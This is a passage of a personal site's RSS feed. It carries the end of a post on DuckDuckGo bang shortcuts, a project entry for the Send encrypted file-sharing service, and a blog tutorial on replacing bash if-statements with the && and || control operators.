&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!rust+String&quot;&gt;&lt;code&gt;!rust String&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Search &lt;code&gt;String&lt;&#x2F;code&gt; in Rust documentation&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!timer+3m&quot;&gt;&lt;code&gt;!timer 3m&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Set a 3-minute timer&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!wa+solve+x^2+%2B+4x+%2B+6+%3D+0&quot;&gt;&lt;code&gt;!wa solve x^2+4x+6=0&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Solve equation with WolframAlpha&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!bangs&quot;&gt;&lt;code&gt;!bangs&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: &lt;em&gt;there&#x27;s so many more...&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Lastly, not clearly listed, DuckDuckGo has an &lt;em&gt;I&#x27;m Feeling Ducky&lt;&#x2F;em&gt; feature using
just the &lt;code&gt;!&lt;&#x2F;code&gt; bang. It will redirect you to the first search result instantly:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!+Coldplay+magic&quot;&gt;&lt;code&gt;! Coldplay magic&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!+jamming+cat&quot;&gt;&lt;code&gt;! jamming cat&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ddg.gg&#x2F;?q=!+timvisee&quot;&gt;&lt;code&gt;! timvisee&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I hope you&#x27;ve learned something new and useful to be just that little bit more
efficient using the Firefox QuantumBar.&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Send</title>
                <pubDate>Wed, 19 May 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/send/</link>
                <guid>https://timvisee.com/projects/send/</guid>
                <description>&lt;p&gt;
    &lt;a href=&quot;screenshot.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;96cb2a5b0ed3da1900.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Try it out: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;send.vis.ee&#x2F;&quot;&gt;https:&#x2F;&#x2F;send.vis.ee&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;send&quot;&gt;Visit project page on GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Send lets you share files with end-to-end encryption and a link that
automatically expires. So you can keep what you share private and make sure your
stuff doesn’t stay online forever.&lt;&#x2F;p&gt;
&lt;p&gt;Send has originally been developed by Mozilla, but was discontinued. I forked
the project as a community effort to keep the project up-to-date and alive.&lt;&#x2F;p&gt;
&lt;p&gt;I provide a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;send.vis.ee&quot;&gt;public instance&lt;&#x2F;a&gt; as part of this effort. Find
a list of other instances &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;send-instances&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;. Or host &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;send#deployment&quot;&gt;your own&lt;&#x2F;a&gt;
instance.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;View more on the project pages over at:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;send&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;timvisee&#x2F;send&quot;&gt;GitLab&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Also see these related projects:&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;ffsend&#x2F;&quot;&gt;&lt;code&gt;ffsend&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; &lt;span class=&quot;muted&quot;&gt;(command-line interface for Send)&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</description>
            </item>
        
            <item>
                <title>Elegant bash conditionals</title>
                <pubDate>Tue, 02 Mar 2021 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/elegant-bash-conditionals/</link>
                <guid>https://timvisee.com/blog/elegant-bash-conditionals/</guid>
                <description>&lt;p&gt;The if-statement is a very basic thing, not just in bash, but in all of programming.
I see them used quite a lot in shell scripts,
even though in many cases they can be replaced with something much more elegant.&lt;&#x2F;p&gt;
&lt;p&gt;In this rather short article, I&#x27;ll show how control operators can be used
instead.
Many probably know about this, but don&#x27;t realize how to use them nicely.
This will help you write cleaner shell scripts in the future.&lt;&#x2F;p&gt;
&lt;p&gt;Here is what a simple if-statements looks like in bash:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt; expression &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;then
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;command
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# or
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt; expression &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;; then &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;command&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;; fi
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Ughh. Let&#x27;s improve!&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;&lt;h2 id=&quot;control-operators&quot;&gt;Control operators
    &lt;a class=&quot;anchor&quot; href=&quot;#control-operators&quot; aria-label=&quot;Anchor link for: control-operators&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Bash provides &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;html_node&#x2F;Definitions.html#Definitions&quot;&gt;control operators&lt;&#x2F;a&gt; to build sequences of
commands.
Some of these are conditional and allow logical branching based on the success
state of the last run command.&lt;&#x2F;p&gt;
&lt;p&gt;We will just focus on these two logical operators:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt;: the AND operator, run the following command only if previous succeeded&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;||&lt;&#x2F;code&gt;: the OR operator, run the following command only if previous failed&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;exit-codes&quot;&gt;Exit codes
    &lt;a class=&quot;anchor&quot; href=&quot;#exit-codes&quot; aria-label=&quot;Anchor link for: exit-codes&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;You might wonder how bash considers whether a command succeeded.
This is where &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Exit_status&quot;&gt;exit codes&lt;&#x2F;a&gt; come in.
When a program exits a numeric status code is returned.
A value of &lt;code&gt;0&lt;&#x2F;code&gt; means the program succeeded, any other value means it failed.&lt;&#x2F;p&gt;
&lt;p&gt;The exit code is normally hidden.
The status of the last run command is stored in the &lt;code&gt;?&lt;&#x2F;code&gt; variable.
You may inspect it by invoking:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;?
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;E.g., listing with &lt;code&gt;ls&lt;&#x2F;code&gt; normally returns &lt;code&gt;0&lt;&#x2F;code&gt;, but this value differs if the
directory doesn&#x27;t exist or if an error occurred.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ls ~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# exit code: 0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ls ~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;nonexistent &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# exit code: 2
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will function similarly to almost any program.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chaining-commands&quot;&gt;Chaining commands
    &lt;a class=&quot;anchor&quot; href=&quot;#chaining-commands&quot; aria-label=&quot;Anchor link for: chaining-commands&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s go over some examples to show how these control operators can be used.&lt;&#x2F;p&gt;
&lt;p&gt;Imagine you want to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;Source_command&quot;&gt;source&lt;&#x2F;a&gt; the &lt;code&gt;~&#x2F;.profile&lt;&#x2F;code&gt; file, but only if it
is readable:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;[ &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;-r &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;.profile &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;source &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;.profile
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can simplify this using control operators:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;[ &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;-r &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;.profile &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;. &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;.profile
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Only if the readability check expression is truthful&#x2F;succeeds, we want to source
the file, so we use the &lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt; operator.&lt;&#x2F;p&gt;
&lt;br&gt;
&lt;p&gt;To require invoking user to be root, we can do the following:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;[ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;EUID &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;-ne&lt;&#x2F;span&gt;&lt;span&gt; 0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; You must be root &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt; 1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;echo&lt;&#x2F;code&gt; command exists with &lt;code&gt;0&lt;&#x2F;code&gt;, so this propagates to &lt;code&gt;exit&lt;&#x2F;code&gt; if the
first expression is truthful.&lt;&#x2F;p&gt;
&lt;br&gt;
&lt;p&gt;If we&#x27;d like to print our profile file contents with a success message,
or an error message on reading failure, we can do the following:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cat ~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;.profile &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; This is your profile &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; Failed to read profile
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;br&gt;
&lt;p&gt;You can make these command sequences as long as you want. Useful for
building install scripts that go through a series of steps. You could define
bash functions for each step and orchestrate the installation like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;init &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;configure &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;install &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cleanup &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; Install failed
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or format it differently to make long sequences better readable:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;init &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;configure &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;install &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;cleanup &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;||
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; Install failed
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nice-to-know&quot;&gt;Nice to know
    &lt;a class=&quot;anchor&quot; href=&quot;#nice-to-know&quot; aria-label=&quot;Anchor link for: nice-to-know&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;There are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unix.stackexchange.com&#x2F;a&#x2F;159514&#x2F;61092&quot;&gt;many&lt;&#x2F;a&gt; more control operators,
including list terminators, pipe operators, and others.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;[&lt;&#x2F;code&gt; (commonly used in if-statements) isn&#x27;t just a shell feature.
It is a binary on Unix-like systems, usually located at &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;[&lt;&#x2F;code&gt;,
so it can be used anywhere.
It returns the exit code &lt;code&gt;0&lt;&#x2F;code&gt; if the expression was truthful.&lt;&#x2F;p&gt;
&lt;p&gt;You can chain multiple &lt;code&gt;[ expr ] &amp;amp;&amp;amp; [ expr ]&lt;&#x2F;code&gt; expressions together, they are
commands after all.&lt;&#x2F;p&gt;
&lt;p&gt;Bash also has &lt;code&gt;[[&lt;&#x2F;code&gt;, which is
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;q&#x2F;13542832&#x2F;1000145&quot;&gt;different&lt;&#x2F;a&gt; from &lt;code&gt;[&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You can wrap multiple commands with &lt;code&gt;{ expr; }&lt;&#x2F;code&gt; to run it as single expression in
your command chain. For example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;[ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;EUID &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;-ne&lt;&#x2F;span&gt;&lt;span&gt; 0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;{ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span&gt; You must be root&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;true&lt;&#x2F;code&gt; and &lt;code&gt;false&lt;&#x2F;code&gt; commands do nothing more than returning &lt;code&gt;0&lt;&#x2F;code&gt; or &lt;code&gt;1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Bash features &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;html_node&#x2F;Shell-Parameter-Expansion.html#Shell-Parameter-Expansion&quot;&gt;parameter expression&lt;&#x2F;a&gt;.
You can use &lt;code&gt;${EDITOR:=nvim}&lt;&#x2F;code&gt; to set the &lt;code&gt;EDITOR&lt;&#x2F;code&gt; variable to &lt;code&gt;nvim&lt;&#x2F;code&gt; only if
it is empty, so you won&#x27;t even need conditionals.&lt;&#x2F;p&gt;
&lt;p&gt;Most other shells support similar operators. &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fishshell.com&#x2F;&quot;&gt;fish&lt;&#x2F;a&gt; uses &lt;code&gt;; and&lt;&#x2F;code&gt; and &lt;code&gt;; or&lt;&#x2F;code&gt;, but now &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fish-shell&#x2F;fish-shell&#x2F;issues&#x2F;4620&quot;&gt;supports&lt;&#x2F;a&gt; &lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt; and &lt;code&gt;||&lt;&#x2F;code&gt; as well in modern versions.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;$_&lt;&#x2F;code&gt; (or &lt;code&gt;Alt+.&lt;&#x2F;code&gt;) is your last used argument (noted by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lobste.rs&#x2F;s&#x2F;nao13f&#x2F;elegant_bash_conditionals#c_brp038&quot;&gt;@Diti&lt;&#x2F;a&gt;).
For example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;test&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; -f &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;FILE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;source &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;|| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt; does not exist&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;2
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A function or script returns the exit code of the last expression. If your last
expression is a command chain as described in this article, you might have an
unexpected exit code. See
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;linux&#x2F;comments&#x2F;lw0ofg&#x2F;elegant_bash_conditionals&#x2F;gpf1lr0&#x2F;&quot;&gt;this&lt;&#x2F;a&gt;
comments.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;closing-thoughts&quot;&gt;Closing thoughts
    &lt;a class=&quot;anchor&quot; href=&quot;#closing-thoughts&quot; aria-label=&quot;Anchor link for: closing-thoughts&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;These command sequences with control operators are an elegant alternative for
simple if-statements. I think they look much better and are more expressive
looking at conditional logic.&lt;&#x2F;p&gt;
&lt;p&gt;But, don&#x27;t overuse them. For bigger statements or advanced branching, you should
fall back to if-statements.&lt;&#x2F;p&gt;
&lt;p&gt;I hope this article motivates you to make your shell scripts a little more
elegant in the future by using these operators.&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>List &amp; export your subreddits</title>
                <pubDate>Mon, 01 Mar 2021 00:00:00 +0000</pubDate>
